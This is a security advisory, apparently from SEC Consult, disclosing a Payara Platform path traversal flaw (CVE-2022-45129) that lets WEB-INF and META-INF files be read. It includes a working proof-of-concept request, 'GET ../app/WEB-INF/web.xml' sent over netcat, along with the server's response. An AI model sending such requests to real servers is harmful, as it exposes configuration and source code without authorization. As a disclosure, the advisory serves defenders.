Path Traversal Vulnerability in Payara Platform

Vendor description

"Payara Micro Community is the open source, lightweight middleware platform of choice for containerized Jakarta EE application deployments. less than 70MB, Payara Micro requires no installation,  configuration, or code rewrites."

Source: https://www.payara.fish/products/payara-platform-community/

Business recommendation

The vendor provides an update for the affected versions which should be installed immediately.

SEC Consult highly recommends to perform a thorough security review of the Payara Software by security professionals to identify and resolve potential further security issues.

Vulnerability overview/description

1) Path Traversal Vulnerability (CVE-2022-45129)

A path traversal similar to the old CVE-2021-41381 allows, under some circumstances, to bypass the protection of the WEB-INF/ and META-INF/ folders. It is possible to read files inside these directories of the deployed application. They mostly contain configuration files for the application but may also contain source code.

Proof of concept

1) Path Traversal Vulnerability (CVE-2022-45129)

a) (Setup)
Deploy a web application at the root context (/). For this PoC, the following application was used: https://github.com/AKSarav/SampleWebApp

java -jar ./appserver/extras/payara-micro/payara-micro-distribution/target/payara-micro.jar --port 1234 --deploy app.war --contextroot /

This application uses the org.apache.catalina.servlets.DefaultServlet for serving files. The deployment at root (/) is crucial. The webapp has the following structure:

.
├── WEB-INF
│   ├── web.xml
│   └── weblogic.xml
├── META-INF
│   └── context.xml
├── index.html
└── welcome.jsp

b) (Attack)
The attacking payload is an HTTP request with a path starting with ../<webapp-name>/ (note that it does not start with /). To issue this request, a netcat connection can be used:

$ nc localhost 1234
GET ../app/WEB-INF/web.xml HTTP/1.1
Host: abc

The server's response:

HTTP/1.1 200 OK
Server: Payara Micro #badassfish
Accept-Ranges: bytes
ETag: W/"688-1664529724289"
Last-Modified: Fri, 30 Sep 2022 09:22:04 GMT
Content-Type: application/xml
Content-Length: 688
X-Frame-Options: SAMEORIGIN

<?xml version="1.0" encoding="UTF-8"?>
[...]

It is possible to access all files in the app's directory /app. The issue arises because the leading ../ is not detected to escape the context and later the code of StandardContextValve.java only checks the beginning of the path for forbidden directories /META-INF/ and /WEB-INF/.

requestPath.toUpperCase().startsWith("/META-INF/", 0)

Vulnerable / tested versions

The vulnerability has been found in version 5.2022.3 (using jdk8-openjdk 8.345.u01-1) and was verified as well on the Payara6 branch with the latest commit during the time of the test: e5f68cda7a72c0c15fb55b724fe5d2e1e6255510 (using jdk11-openjdk 11.0.16.1.u1-2).

In both cases, the application was self-compiled from the official GitHub repository on an Arch Linux distribution.

According to the vendor, "This vulnerability affects ALL the distributions of the Payara Platform (Server Full, Server Web, Micro, Embedded, Docker images) in every edition and major version.".

The vulnerable versions are all before 6.2022.1, 4.1.2.191.38, 5.2022.4 (Community Edition) and 5.45.0 (Enterprise Edition).

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